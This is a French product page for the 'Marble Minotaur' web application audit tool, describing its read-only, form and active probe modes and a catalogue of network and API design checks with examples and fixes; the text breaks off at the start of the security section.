Marble Minotaur
→ --forms · --probe

Trois modes de passage, à vous de choisir.

Ce qu’il a le droit de faire chez vous est décidé avant le passage, et rappelé en tête du rapport.

Lecture seule
Par défaut. 49 sondes ouvrent chaque écran, le mesurent, lisent le réseau et le code de la page. Aucun clic sur un bouton d’action, aucune donnée écrite.
Formulaires
Sur demande. Les formulaires sont lus en détail ; leur soumission réelle, pour lire les réponses d’erreur et la validation côté serveur, n’a lieu que si vous l’autorisez sur un environnement jetable.
Sondes actives
Sur demande. 13 sondes agissent sur l’application : clics réels, coupure du réseau, recherche de fichiers exposés, rejeu des parcours observés. Jamais de suppression.
→ chaque écran

Sur chaque écran, six questions.

Ce que la page envoie et reçoit

En-têtes de sécurité et leurs valeurs, politique de scripts, témoins de session, chiffrement, scripts tiers sans vérification d’intégrité.

Son poids et sa vitesse

Temps de première réponse, affichage du plus grand élément, décalages visuels, blocage du fil principal, poids du code et des images, polices.

Qui peut s’en servir

Règles d’accessibilité automatiques complétées de vérifications manuelles : fenêtres, focus, libellés, contrastes, cibles tactiles.

Sur quel écran

Chaque page à 1280, 768 et 375 px : débordements, éléments coupés, zones trop petites pour un doigt.

Ce que disent les appels

Codes de réponse qui disent ce qui s’est passé, format demandé et reçu, cache, compression, appels répétés pour chaque ligne d’une liste.

Ce que la loi demande

Bandeau de consentement, traceurs déposés avant l’accord, mentions et conditions dans la zone connectée.

Épisode · Les trois tailles · 30 s Comment un écran qui tient au bureau déborde sur un téléphone.
→ tout le passage

Ce qu’on ne voit qu’en comparant tous les écrans.

Un scanner note une page à la fois. Ces analyses-là ne sont possibles qu’après avoir tout parcouru : elles comparent les écrans et les appels entre eux.

La carte des fonctions

Quels objets l’application manipule, ce qu’on peut en faire (lister, consulter, créer, modifier), et ce qui a été vu fonctionner, ou seulement proposé.

Les parcours

Les enchaînements réellement observés, rejoués sous garde-fous pour vérifier qu’ils tiennent encore d’une version à l’autre.

La cohérence des appels

Casse des clés, enveloppes de réponse, formats de date, forme des erreurs : ce qui diverge d’un appel à l’autre.

Le poids des appels

Médiane et pire cas par point d’API, compression, appels répétés pour chaque ligne d’une liste.

Les gabarits

Un défaut présent sur 80 % des écrans est un fait de l’application : il est dit une fois, pas trente.

L’évolution

Deux passages se comparent : fonctions apparues ou perdues, parcours dégradés, constats résolus.

Épisode · La carte fonctionnelle · 30 s Ce que fait vraiment votre application : 22 objets, 50 fonctions, et la requête qui prouve chacune.
→ --probesur demande

Les sondes actives, une par une.

Elles ne tournent que si vous les demandez, et toutes respectent les mêmes garde-fous : aucune suppression, aucun libellé destructif cliqué, un budget de temps et d’actions plafonné.

Clique pour de vrai Appuie sur chaque bouton et chaque lien d’action, et relève ceux qui ne produisent rien : ni requête, ni changement d’écran. dead-actions
Change les réglages Modifie listes déroulantes et cases à cocher, puis regarde si l’écran réagit vraiment. control-effects
Coupe le réseau Ralentit la connexion et bloque les appels d’API pour voir si l’écran tient, prévient, ou reste blanc. network-resilience
Fait tomber une dépendance Maintient un appel en échec pour vérifier les nouvelles tentatives, leur rythme, et qu’un service tiers en panne n’emporte pas le reste. failure-response
Recharge et compare Compare deux chargements du même écran : ce qui change sans raison casse les tests automatisés. dom-stability
Cherche ce qui traîne Versions de serveur affichées, cartes de sources publiées, /.git ou /.env accessibles, page d’erreur brute. exposure-probe
Lit la description d’API Description OpenAPI ou Swagger publiée, introspection GraphQL ouverte, fichiers /.well-known. api-surface-discovery
Rejoue une lecture Répète un même appel pour savoir si une limitation de débit existe, et si elle est annoncée. rate-limit
Refuse les cookies Refuse explicitement le consentement, puis vérifie qu’aucun traceur tiers ne repart. consent-refusal
Suit les liens sortants Vérifie que les liens vers d’autres sites répondent encore. link-rot
Trouve le point de santé Repère un point de contrôle de santé exposé publiquement, et ce qu’il révèle. availability-signals
Cartographie les tiers Liste les services tiers appelés par l’application et les kits qu’elle embarque. api-dependency-map
Lit les formulaires Structure, libellés, validations ; et, si vous l’autorisez, soumission réelle pour lire les réponses d’erreur. forms
→ catalogue

Le catalogue, avec les mots du rapport.

Les mêmes phrases que dans le rapport, rangées par famille. Ouvrez une ligne pour lire ce que c’est, un exemple rencontré, le risque et la correction.

311 vérifications

Réseau

61

Les appels entre le navigateur et le serveur : nombre, poids, réponses.

Aucune adresse ne permet de vérifier que le service est en vie health endpoint

Aucun endpoint de liveness/health public (/health, /status, /healthz…) n'a répondu. Les sondes de monitoring et load balancers externes n'ont pas de point de contrôle de disponibilité.

Exemple
Un load balancer ne peut pas retirer une instance en panne faute de /health interrogeable.
Risque
Détection de panne plus lente (pas de sonde externe).
Correction
Exposer un endpoint /health léger (200 + statut JSON) : ou confirmer qu’il est volontairement interne.
Certaines adresses finissent par une barre oblique et d’autres non conception des URL

Des adresses se terminent par / et d’autres non. Selon le serveur, les deux formes sont deux ressources, une redirection, ou une erreur.

Exemple
/api/users/ et /api/orders dans la même application.
Risque
Une redirection à chaque appel construit sans la barre.
Correction
Fixer une forme, et rediriger l’autre de façon systématique.
Demander un enregistrement inexistant fait planter le serveur 5xx sur 404 attendu

Un identifiant qui ne correspond à rien provoque une erreur serveur au lieu d’un « introuvable ». L’absence de donnée n’est pas prévue.

Exemple
GET /api/projects/2147483647 → 500.
Risque
Un lien périmé suffit à produire une erreur serveur.
Correction
Traiter l’absence d’enregistrement avant tout accès à ses champs, et répondre 404.
Des adresses imbriquent trois enregistrements ou plus profondeur d’imbrication

Une adresse comme /orgs/1/projects/2/tasks/3/comments demande au client de connaître trois identifiants pour lire une liste. Chaque niveau ajouté rend l’adresse impossible à construire de mémoire.

Exemple
/api/orgs/1/projects/2/tasks/3/comments pour lister des commentaires.
Risque
Des adresses cassées dès qu’un parent change.
Correction
Limiter l’imbrication à un niveau et exposer les ressources profondes à plat (/comments?task=3).
Des adresses portent un verbe là où la méthode le dit déjà conception des URL

Une adresse comme /getUsers ou /users/12/delete répète dans son chemin ce que la méthode HTTP (GET, DELETE) signifie déjà. Les caches et les outils qui lisent la méthode ne voient plus l’intention réelle.

Exemple
GET /api/getUsers là où GET /api/users suffit.
Risque
Un GET qui modifie est mis en cache ou préchargé sans intention.
Correction
Nommer les ressources par des noms et laisser la méthode HTTP dire l’action.
Écran blanc quand le réseau est lent

Rechargée sous un réseau volontairement bridé (débit faible, forte latence), la page ne rend aucun contenu : pas de squelette, pas de spinner, pas de texte. L'utilisateur ne peut pas distinguer « ça charge » de « c'est cassé ».

Exemple
SPA dont tout le rendu attend le bundle JS : tant que le script n'est pas arrivé, le <body> reste vide.
Risque
Abandon immédiat des visiteurs mobiles ou en connexion dégradée.
Correction
Servir un rendu initial non vide (SSR, HTML statique ou squelette) et afficher un état de chargement explicite tant que les données ne sont pas là.
L’essai de panne réseau n’a pas pu être mené

La sonde de résilience réseau n'a pas pu se dérouler sur cette page (session de debug indisponible, page fermée pendant le test, interception refusée). Le constat porte sur l'outil de mesure, pas sur l'application : le comportement sous réseau dégradé reste inconnu ici.

Exemple
Ouverture de la session CDP refusée par le navigateur ou l'environnement d'exécution.
Risque
Angle mort : la résilience réseau de cette page n'est ni validée ni infirmée.
Correction
Rejouer l'audit avec --probe sur un navigateur Chromium stable et une page qui ne navigue pas d'elle-même ; si l'échec persiste, lire le message d'erreur du constat pour identifier la contrainte d'environnement.
La même donnée est demandée plusieurs fois sur un écran overfetch

Une même requête GET est émise plusieurs fois à l’identique sur la page. Absence de déduplication ou de cache client.

Exemple
Deux composants montés en parallèle qui chargent chacun GET /api/me.
Risque
Réseau gaspillé.
Correction
Mutualiser via un cache de requêtes (React Query/SWR) ou hisser l’appel plus haut dans l’arbre.
La page dépend lourdement de services extérieurs

La page charge de nombreuses ressources depuis des domaines tiers (CDN externes, analytics, ads). Performance dégradée et risque de fuite de données.

Exemple
30+ requêtes vers Google Tag Manager, Hotjar, Intercom, Sentry, etc.
Risque
Performance dégradée (chaque tiers ajoute du DNS + handshake).
Correction
Auditer les tiers, retirer les non essentiels, auto-héberger les polices.
La pagination ne se fait pas de la même façon partout

La pagination diverge entre endpoints : stratégies différentes (page vs offset vs cursor) ou noms de paramètres différents (limit vs pageSize).

Exemple
/api/users?limit=20 et /api/orders?pageSize=20.
Risque
Le client doit réapprendre la pagination à chaque endpoint.
Correction
Standardiser une stratégie et un jeu de paramètres de pagination pour toute l’API.
La vitesse réellement vécue n’est mesurée nulle part Real User Monitoring

Aucun reporting Web Vitals / RUM détecté. La performance réellement perçue par les utilisateurs n'est pas mesurée.

Exemple
Aucune lib web-vitals ni beacon Datadog/New Relic observé.
Risque
Régressions de perf invisibles.
Correction
Envoyer les Core Web Vitals (LCP/CLS/INP) vers un backend RUM.
Le même appel refuse une saisie invalide avec des codes différents selon les fois 400 / 422 / 500

Un même endpoint répond tantôt 400, tantôt 422, tantôt 500 pour ce qui ressemble à la même nature d'échec de validation. Le client ne peut pas écrire un traitement d'erreur unique pour ce point : il doit gérer plusieurs codes pour un seul cas.

Exemple
POST /api/orders répond 422 une fois avec { "violations": [...] }, puis 500 une autre fois pour une saisie du même genre.
Risque
Traitement d'erreur client dupliqué (un cas par code observé).
Correction
Faire converger le point d'entrée vers un seul code pour une même nature d'échec (422 pour une validation, jamais 500).
Le serveur a limité le débit de l’audit HTTP 429

Le serveur a répondu 429 (Too Many Requests) : la requête a été throttlée. C’est un mécanisme de protection attendu, pas une panne. Il est souvent déclenché par un volume élevé de requêtes rapprochées (crawl agressif, beacons de reporting du navigateur comme les rapports CSP).

Exemple
De nombreux POST /csp-report -> 429 : le navigateur envoie des rapports de violation CSP que l’app rate-limite.
Risque
En général bénin ici : back-pressure normale du serveur.
Correction
Ignorer sur les endpoints de reporting (bruit attendu). Sur une API métier : espacer/debattre les appels côté client, ou relever le seuil côté serveur.
Le serveur a refusé le format demandé ou envoyé 406 / 415

Un appel a répondu 406 (format demandé non disponible) ou 415 (format envoyé non accepté). Le client et l’API ne s’accordent pas sur la façon d’échanger.

Exemple
POST /api/upload → 415 parce que le corps est envoyé en JSON là où le serveur attend un formulaire.
Risque
Un appel perdu, souvent sans message pour la personne.
Correction
Aligner l’en-tête envoyé par le client sur ce que le serveur accepte, ou élargir ce que le serveur accepte.
Le serveur fournit un validateur de cache et ne le respecte pas If-None-Match sans 304

La réponse porte un ETag ou un Last-Modified, mais une requête conditionnelle reçoit le corps entier au lieu d’un 304. Le validateur coûte des octets et n’en économise aucun.

Exemple
GET /api/users avec ETag: "abc" → rejoué avec If-None-Match: "abc" → 200 et le corps complet.
Risque
Un cache navigateur qui ne sert jamais.
Correction
Comparer le validateur reçu côté serveur et répondre 304 quand il correspond.
Le serveur ne dit pas au navigateur s’il peut garder une réponse ETag / Last-Modified

Une réponse GET est servie sans ETag/Last-Modified ni Cache-Control. Le navigateur ne peut pas revalider par 304 et re-télécharge tout le corps.

Exemple
GET /api/config sans en-tête de cache → rechargé intégralement à chaque visite.
Risque
Bande passante gaspillée sur des données inchangées.
Correction
Ajouter ETag/Last-Modified et un Cache-Control adapté à la volatilité de la donnée.
Le serveur refuse une demande 4xx

Une requête réseau a renvoyé un 4xx (400, 401, 403, 404...). Soit un bug d'intégration, soit un état non géré.

Exemple
API /me répond 401 après expiration de session → UI affiche des données vides.
Risque
Bug fonctionnel silencieux.
Correction
Gérer explicitement chaque code 4xx côté UI (redirection login pour 401, message clair pour 404).
Le serveur répond en HTML à un client qui demandait des données Accept / Content-Type

Le navigateur a demandé du JSON et a reçu une page HTML avec un code de succès. Le client analyse une page (souvent une page de connexion) comme des données.

Exemple
GET /api/me avec Accept: application/json → 200 text/html (page de connexion).
Risque
Une erreur d’analyse à la place d’un message de session expirée.
Correction
Répondre 401 en JSON sur les appels d’API, jamais une page HTML.
Le serveur répond par une erreur 5xx

Une requête réseau a renvoyé un code 500-599. Le backend a échoué.

Exemple
API /api/orders répond 500 → liste commandes vide pour l'utilisateur.
Risque
Fonctionnalité indisponible, escalade support.
Correction
Vérifier les logs serveur, ajouter un toast d'erreur côté UI.
Le tri ou le filtre se demande sous des noms différents selon l’appel paramètres de requête

Un endpoint trie par sort, un autre par orderBy ; l’un cherche avec q, l’autre avec search. Le même geste s’écrit différemment selon l’appel.

Exemple
?sort=name sur /users, ?orderBy=date sur /orders.
Risque
Un composant de liste générique impossible à réutiliser.
Correction
Nommer les paramètres de tri, de filtre et de recherche une seule fois, pour toute l’API.
Les adresses d’appel ne suivent pas un seul schéma versioning

Certains endpoints sont versionnés dans l’URL (/v1/…) et d’autres ne le sont pas. Le contrat de versioning n’est pas uniforme.

Exemple
/api/v1/users coexiste avec /api/orders (sans version).
Risque
Stratégie d’évolution ambiguë.
Correction
Versionner toute l’API de la même façon (préfixe /v1/ global ou en-tête de version).
Les erreurs ne sont pas décrites de la même façon partout format d’erreur

Les réponses en erreur (status ≥ 400) n’adoptent pas la même enveloppe JSON d’un endpoint à l’autre : Problem+JSON ({type,title,status,detail}) ici, {error} là, {message} ou {errors:[…]} ailleurs, voire une chaîne brute. Un client ne peut pas centraliser sa gestion d’erreurs.

Exemple
/api/users (422) renvoie { "type": "...", "title": "Validation failed" } mais /api/orders (400) renvoie { "error": "Bad request" }.
Risque
Gestion d’erreur dupliquée et fragile côté client (un parseur par format).
Correction
Standardiser une enveloppe d’erreur unique pour toute l’API, de préférence Problem+JSON (RFC 9457).
Les erreurs vécues par les personnes ne sont remontées nulle part error tracking

Aucun SDK de suivi d'erreurs (Sentry, Bugsnag, LogRocket) n'a été détecté. Les erreurs JavaScript vécues par les utilisateurs ne remontent nulle part.

Exemple
Une exception non gérée casse un formulaire en prod sans qu'aucune alerte ne soit émise.
Risque
Bugs invisibles en production.
Correction
Intégrer un outil de suivi d'erreurs frontend (Sentry, Bugsnag…) avec source maps.
Les listes ne sont pas emballées de la même façon d’un appel à l’autre enveloppe

Les endpoints qui renvoient des listes ne les encapsulent pas de la même manière : tableau nu ici, {data:[…]} ou {items:[…]} ailleurs.

Exemple
/api/users renvoie […] mais /api/orders renvoie { "data": […] }.
Risque
Impossible d’écrire un client générique de liste.
Correction
Adopter une enveloppe unique pour toutes les collections (ex. { data, meta }).
Les noms de champs ne suivent pas une seule convention camelCase / snake_case

Les réponses de l’API mélangent camelCase et snake_case pour nommer les clés JSON, d’un endpoint à l’autre. Le client doit gérer les deux conventions.

Exemple
/api/users renvoie userId, /api/orders renvoie order_id.
Risque
Code client alourdi (mapping/normalisation).
Correction
Choisir une convention unique (camelCase ou snake_case) et l’appliquer à toute l’API.
Les réponses du serveur voyagent sans compression Content-Encoding

Une réponse API JSON volumineuse est servie sans compression (gzip/brotli). Le texte JSON se compresse pourtant très bien.

Exemple
Un GET /api/list de 200 Ko servi sans Content-Encoding → 5× plus d’octets qu’en brotli.
Risque
Transfert plusieurs fois plus lourd pour un gain quasi gratuit.
Correction
Activer la compression (gzip/brotli) sur les réponses API au niveau serveur ou reverse-proxy.
Même les appels les plus simples prennent du temps plancher de latence

Les trois quarts des endpoints dépassent un même seuil de latence. Le coût n’est propre à aucun handler : il est payé par toute requête, ce qui pointe vers l’infrastructure ou l’absence de cache.

Exemple
Des pages purement statiques (mentions légales, CGU) répondant aussi lentement que les pages de données.
Risque
Coût payé sur chaque navigation : c’est souvent l’essentiel de la lenteur ressentie.
Correction
Chercher en amont du handler : absence de cache CDN, edge froid, middleware exécuté sur chaque requête, redirection systématique.
Un appel au serveur est lent

Une requête API met un temps anormalement long à répondre (latence bout-en-bout). Elle retarde l’affichage des données.

Exemple
Un GET /api/report qui prend 3 s → le tableau reste vide pendant plusieurs secondes.
Risque
Perception de lenteur, abandon utilisateur.
Correction
Profiler côté serveur : index, cache, pagination, réduction du travail par requête.
Un appel au serveur est lent même en temps normal médiane

Mesuré sur l’ensemble du crawl, cet endpoint est lent **à chaque appel**, pas seulement lors d’un pic. La médiane, et non un accident isolé, dépasse le seuil.

Exemple
Un POST /campaigns/new à 756 ms de médiane sur 18 appels : la création dépasse la seconde ressentie à tous les coups.
Risque
Lenteur permanente et prévisible, ressentie par tous les utilisateurs.
Correction
Profiler le handler : requêtes N+1, index manquant, appel externe synchrone. Comparer avec un endpoint rapide de la même app pour isoler le coût propre.
Un appel en échec

Requête HTTP identifiée directement comme en échec, sans correspondance plus fine dans le HAR. Le diagnostic s’appuie alors sur l’entrée d’erreur elle-même.

Exemple
DELETE /api/item/42 -> 500 sans requête voisine à corréler.
Risque
Opération échouée côté utilisateur.
Correction
Reproduire l’appel en isolation (curl/Postman) pour distinguer un bug applicatif d’un souci d’environnement.
Un appel en échec lié à une erreur de la page

Une erreur HTTP a été rapprochée des requêtes réseau capturées qui correspondent à la même cible. Permet de relier un symptôme (échec) aux appels concrets qui l’ont produit.

Exemple
Un POST /api/save -> 500 mis en correspondance avec la requête exacte du HAR.
Risque
Opération métier échouée (sauvegarde, chargement) côté utilisateur.
Correction
Inspecter la requête corrélée (méthode, payload, statut) et corriger la cause côté serveur ou client.
Un appel envoie des corps de requête lourds p90 des octets envoyés

Neuf envois sur dix vers cet appel dépassent le seuil de poids. Sur un réseau mobile, le débit montant est le plus faible, et c’est lui qui paie.

Exemple
Un POST /api/documents qui envoie le document entier à chaque enregistrement automatique.
Risque
Une saisie lente à enregistrer sur mobile.
Correction
Envoyer les différences, compresser le corps, ou déplacer les pièces jointes dans un envoi séparé.
Un appel est parfois très lent, comme au réveil p90 / cold start

La médiane est saine mais le pire cas s’en écarte massivement. Signature d’un démarrage à froid (fonction serverless), d’une contention base ou d’un cache qui expire.

Exemple
Un endpoint à 200 ms de médiane qui atteint 6,4 s au pire : un facteur ×32.
Risque
Lenteur vécue comme aléatoire et donc difficile à signaler, ce qui la rend rarement corrigée.
Correction
Vérifier le cold start (provisioned concurrency, warm-up), le pool de connexions et l’expiration du cache. Attention : un audit avec --probe génère des rafales qui peuvent gonfler le pire cas.
Un appel lié à l’erreur observée

Requête réseau capturée et rattachée à un diagnostic (erreur HTTP ou console). Sert de preuve technique : méthode, URL, statut et phase de capture.

Exemple
GET /api/list -> 404 capturé pendant la phase de chargement de page.
Risque
Indique le point de défaillance réseau exact à investiguer.
Correction
Utiliser la requête comme point de départ du débogage (rejouer l’appel, vérifier le payload et la réponse).
Un appel n’est jamais compressé Content-Encoding

Aucune des réponses de cet appel n’est compressée, alors que leur taille habituelle le justifierait. Le JSON se compresse quatre à dix fois pour un coût serveur négligeable.

Exemple
Un GET /api/catalog à 40 ko par réponse, servi tel quel.
Risque
Plusieurs fois plus d’octets sur le réseau pour rien.
Correction
Activer la compression (brotli ou gzip) pour les réponses JSON au niveau du serveur ou du CDN.
Un appel renvoie des réponses lourdes même en temps normal p90 des octets de réponse

Neuf réponses sur dix de cet appel dépassent le seuil de poids, sur l’ensemble du passage. Ce n’est pas un accident isolé : c’est la taille habituelle de ce que l’appel renvoie.

Exemple
Un GET /api/projects à 800 ko par réponse, sans pagination ni sélection de champs.
Risque
Temps de chargement et mémoire dégradés, surtout sur mobile.
Correction
Paginer, laisser le client choisir les champs, ou séparer la liste du détail.
Un appel vers une API tierce part sans aucun marqueur de version API version pinning

Un appel vers une API tierce connue pour exiger un pinning de version (chemin /vN/, paramètre version, en-tête dédié comme Stripe-Version) est observé sans aucun de ces marqueurs sur l'ensemble des appels vers cet hôte.

Exemple
Tous les appels vers api.stripe.com observés omettent l'en-tête Stripe-Version.
Risque
Un changement non annoncé côté fournisseur peut casser l'intégration sans que l'équipe n'ait pu choisir le moment de la migration.
Correction
Épingler explicitement la version de chaque API tierce appelée (en-tête, paramètre ou chemin dédié).
Un diagnostic réseau ou console

Regroupe les corrélations entre erreurs (console/HTTP) et requêtes réseau. Voir le code de corrélation précis pour le détail du symptôme et de la cause probable.

Exemple
Erreur console rapprochée d’une requête 500.
Risque
Symptôme d’un problème réseau/backend sous-jacent.
Correction
Suivre la requête corrélée jusqu’à sa cause racine (endpoint, payload, gestion d’erreur côté client).
Un écran appelle la même route pour des dizaines d’enregistrements N+1

Une même route de détail est appelée pour des dizaines d’identifiants différents sur un seul écran. Chaque appel est court ; ensemble ils font l’attente, et leur nombre croît avec les données.

Exemple
Une liste de 40 projets qui appelle GET /api/projects/:id quarante fois pour afficher un nom.
Risque
Un écran qui ralentit à mesure que les données grandissent.
Correction
Renvoyer les données nécessaires dans l’appel de liste, ou exposer un appel par lot.
Un écran fait trop d’appels au serveur

La page déclenche un grand nombre de requêtes vers l’API. Chaque appel ajoute de la latence, de la charge serveur et un point de défaillance supplémentaire.

Exemple
Un tableau de bord qui charge chaque widget par un appel distinct → 40+ requêtes au montage.
Risque
Temps de chargement dégradé, surtout sur réseaux lents.
Correction
Regrouper les appels (batch, endpoint agrégé, BFF/GraphQL) et supprimer les N+1 côté client.
Un écran interroge le serveur en boucle polling

Le même endpoint est interrogé de façon répétée sur la page. Un polling trop fréquent gaspille réseau, batterie et ressources serveur.

Exemple
Un GET /api/notifications appelé toutes les 2 s même onglet inactif.
Risque
Charge serveur inutile.
Correction
Passer à du push (SSE/WebSocket), élargir l’intervalle, ou suspendre le polling hors focus.
Un écran télécharge un volume de données inhabituel

La somme des réponses API téléchargées sur la page est élevée. Beaucoup d’octets à transférer, parser et garder en mémoire.

Exemple
Un endpoint qui renvoie 3 Mo de JSON incluant des champs jamais affichés.
Risque
Bande passante et mémoire gaspillées (impact fort sur mobile).
Correction
Ne renvoyer que les champs utiles (sparse fieldsets), paginer, et compresser les réponses.
Un enregistrement inexistant est servi comme s’il existait 404 attendu

Demander un enregistrement avec un identifiant qui n’existe pas renvoie un succès. Le client ne peut pas distinguer une fiche vide d’une fiche absente.

Exemple
GET /api/projects/2147483647 → 200 avec un corps vide ou null.
Risque
Des écrans vides à la place d’un message clair.
Correction
Répondre 404 quand l’enregistrement n’existe pas.
Un incident ne peut pas être suivi de l’écran jusqu’au serveur traceparent

Aucun en-tête traceparent (W3C Trace Context) n'a été observé sur les requêtes. Le front et le backend ne partagent pas de trace commune.

Exemple
Une requête API sans traceparent → impossible de la relier à sa trace serveur.
Risque
Corrélation front/back impossible lors d'un incident.
Correction
Propager traceparent depuis le front (OpenTelemetry browser SDK) vers les APIs.
Un même appel ne renvoie pas toujours les mêmes champs contrat API

Le même appel a répondu avec des ensembles de champs différents pendant le passage : un champ présent ici manque là. Le client doit prévoir chaque forme.

Exemple
GET /api/users/:id renvoie parfois role, parfois non.
Risque
Des erreurs d’affichage intermittentes, difficiles à reproduire.
Correction
Renvoyer toujours les mêmes champs, null quand la valeur manque, et décrire la réponse dans un schéma.
Un même appel ne répond pas toujours par le même code

Le même appel d'API a répondu avec des codes différents pendant l'audit (par exemple 200 puis 429). L'application ne peut pas s'appuyer sur une réponse stable.

Exemple
GET /api/notifications/unread-count : 200 la plupart du temps, 429 par moments.
Risque
Un compteur ou une liste qui disparaît par intermittence.
Correction
Identifier la cause du second code (limitation de débit, cache, session) et la traiter côté serveur ou côté client (retry, message).
Un même appel répond dans deux formats Content-Type par appel

Le même appel répond en JSON quand il réussit et dans un autre format quand il échoue. Le client doit deviner le format avant de lire.

Exemple
GET /api/orders : application/json en 200, text/html en 500.
Risque
Des erreurs jamais structurées, donc jamais affichées correctement.
Correction
Répondre dans le même format en succès et en erreur, avec un corps d’erreur structuré.
Un même champ change de type d’un appel à l’autre contrat API

Le même champ est arrivé avec des types différents pendant le passage : un nombre ici, une chaîne là. Le client doit convertir à l’aveugle.

Exemple
id en nombre sur la liste, en chaîne sur la fiche.
Risque
Des comparaisons fausses en silence.
Correction
Fixer le type de chaque champ dans un schéma et sérialiser toujours de la même façon.
Une demande au serveur a échoué

Une requête HTTP a répondu avec un statut d’erreur (4xx/5xx) ou la page elle-même résout en 404. L’utilisateur voit soit une page manquante, soit une fonctionnalité qui échoue silencieusement.

Exemple
GET /api/members -> 500 : la liste des membres ne se charge pas.
Risque
Écran vide ou données manquantes sans message clair pour l’utilisateur.
Correction
Corriger l’endpoint côté serveur (5xx) ou l’URL/route côté client (4xx). Toujours afficher un état d’erreur explicite plutôt qu’un écran muet.
Une écriture répond avec un code que sa méthode ne signifie pas codes 2xx par méthode

Un DELETE qui répond 201, un PATCH qui répond 202 sans traitement différé : le code ne dit pas ce qui a été fait.

Exemple
DELETE /api/users/12 → 201 Created.
Risque
Un client qui déduit à tort qu’une ressource a été créée.
Correction
Répondre 200 ou 204 à une suppression, 201 à une création, 202 seulement pour un traitement différé.
Une erreur de la page liée à un appel en échec

Une erreur affichée dans la console du navigateur a été rapprochée d’une ou plusieurs requêtes réseau en échec survenues au même moment. Le message console est le symptôme, la requête est souvent la cause.

Exemple
Failed to load resource: 500 dans la console, corrélé à un GET /api/x -> 500.
Risque
Fonctionnalité dégradée dont la cause racine est côté réseau/backend.
Correction
Suivre la requête corrélée : corriger l’endpoint en échec, puis vérifier que le code client gère proprement la réponse d’erreur.
Une famille d’appels est plus lente que les autres préfixe d’URL

La même ressource est joignable avec et sans un segment de préfixe (typiquement une locale), à des coûts radicalement différents. L’écart mesure ce que la couche de routage ajoute par-dessus le handler.

Exemple
GET /settings répond en 41 ms quand GET /fr/settings prend 526 ms : soit ×13 pour la même page.
Risque
Le surcoût frappe la version réellement visitée par les utilisateurs, la variante rapide n’étant qu’un artefact interne.
Correction
Inspecter le middleware de routage / i18n : rendu à chaque requête, redirection de locale, absence de cache sur la variante préfixée.
Une lecture interdit au navigateur de garder quoi que ce soit Cache-Control: no-store

La réponse porte no-store : rien ne peut être conservé, et chaque visite retélécharge tout. Pour des données qui changent peu, un validateur permettrait un 304 sans corps.

Exemple
GET /api/config servi avec Cache-Control: no-store alors que la configuration ne change pas.
Risque
Des octets retéléchargés à chaque écran.
Correction
Réserver no-store aux données sensibles ; ailleurs, fournir un ETag et no-cache ou une durée de fraîcheur.
Une lecture semble en fait modifier des données GET mutant

Un verbe GET est utilisé sur un chemin évoquant une mutation (delete/create/update…). Un GET doit être sûr et idempotent : il ne doit jamais modifier d’état.

Exemple
GET /api/users/5/delete → un préchargement, un crawler ou un cache peut le rejouer et supprimer la ressource.
Risque
Mutation involontaire via préchargement, cache ou re-navigation.
Correction
Utiliser le verbe adéquat : POST (création), PUT/PATCH (mise à jour), DELETE (suppression).
Une liste est envoyée en entier au lieu d’être paginée

Un endpoint renvoie une collection volumineuse sans marqueur de pagination. Le payload grossit avec les données, sans borne.

Exemple
GET /api/users renvoyant les 5000 utilisateurs d’un coup, sans page/limit/cursor.
Risque
Mémoire et temps de rendu qui explosent à l’échelle.
Correction
Introduire une pagination (offset ou cursor) avec un contrat stable et une taille de page par défaut.
Une même notion porte plusieurs noms selon l’appel

Un même concept est désigné par des mots différents selon l’endpoint, au-delà d’une simple différence de casse. Le client doit connaître plusieurs noms pour la même donnée.

Exemple
createdAt sur /api/users mais creationDate sur /api/orders pour l’horodatage de création.
Risque
Charge cognitive et code client dispersé (chaque endpoint a son propre vocabulaire).
Correction
Choisir un terme unique par concept et l’appliquer partout (p. ex. toujours createdAt / updatedAt). La casse est traitée séparément.
Une même ressource est identifiée sous plusieurs formes format des identifiants

La même ressource est adressée tantôt par un nombre, tantôt par un identifiant universel (uuid) ou un autre format. Le client ne sait pas quelle forme construire.

Exemple
/api/users/12 et /api/users/6f1e2a3b-… pour la même collection.
Risque
Des liens construits avec le mauvais identifiant.
Correction
Exposer un seul format d’identifiant par ressource, et le documenter.
Une même ressource est nommée au singulier ici et au pluriel là conception des URL

La même ressource apparaît sous deux formes dans les adresses (/user/12 et /users). Le client doit retenir laquelle vaut pour quel appel.

Exemple
/api/user/12 pour la fiche, /api/users pour la liste.
Risque
Des erreurs 404 sur des adresses construites par déduction.
Correction
Choisir une convention (le pluriel est l’usage) et l’appliquer à toutes les adresses.
Une même valeur est écrite de plusieurs façons dates ISO / epoch

Une même clé porte des valeurs de format hétérogène selon l’endpoint : dates en ISO 8601 ici et en timestamp epoch là, ou booléens tantôt true/false, tantôt 0/1 ou "yes"/"no". Le client doit deviner le format au cas par cas.

Exemple
createdAt vaut "2026-01-01T00:00:00Z" sur /api/users et 1730000000 sur /api/orders.
Risque
Parsing conditionnel et bugs de conversion (dates décalées, booléens mal interprétés).
Correction
Fixer un format unique par type : ISO 8601 pour les dates/horodatages, booléens JSON natifs (true/false).
Une réponse annonce un succès et transporte une erreur 2xx avec { error }

Le code de réponse dit que tout s’est bien passé, et le corps dit le contraire. Tout ce qui lit le code sans le corps (caches, sondes, journaux) croit à un succès.

Exemple
200 OK avec { "error": "not allowed" }.
Risque
Des erreurs invisibles dans la supervision.
Correction
Répondre avec le code qui dit l’échec (4xx ou 5xx) et un corps structuré.
Une réponse texte ne déclare pas son encodage charset

Une réponse text/* arrive sans paramètre charset. Le navigateur devine, et les accents dépendent de la plateforme.

Exemple
Content-Type: text/plain sans ; charset=utf-8.
Risque
Des caractères corrompus selon le navigateur ou le système.
Correction
Ajouter ; charset=utf-8 aux réponses texte.

Sécurité

53

Ce qui protège les données et les sessions contre un tiers.

Aucun bouclier ne filtre le trafic avant le serveur CDN / WAF

Aucun marqueur de CDN/WAF (Cloudflare, Akamai, Fastly, CloudFront) n'a été détecté sur la réponse du document : l'origine semble exposée directement.

Exemple
Aucun en-tête cf-ray/x-served-by ; Server: nginx exposé en direct.
Risque
Origine exposée aux attaques volumétriques/applicatives.
Correction
Placer un CDN/WAF (Cloudflare, Akamai…) devant l'origine.
Aucun moyen de se déconnecter n’a été trouvé

Sur une zone authentifiée, aucun moyen de se déconnecter n’a été repéré (bouton/lien logout, menu compte). L’utilisateur ne peut pas fermer sa session explicitement.

Exemple
Un poste partagé où la session reste ouverte faute de bouton « Se déconnecter ».
Risque
Session laissée ouverte sur un appareil partagé → accès non autorisé.
Correction
Exposer un contrôle de déconnexion visible et accessible depuis toute la zone authentifiée.
Aucun second facteur n’est proposé à la connexion aucun signal OTP/clé de sécurité/API d’identifiants

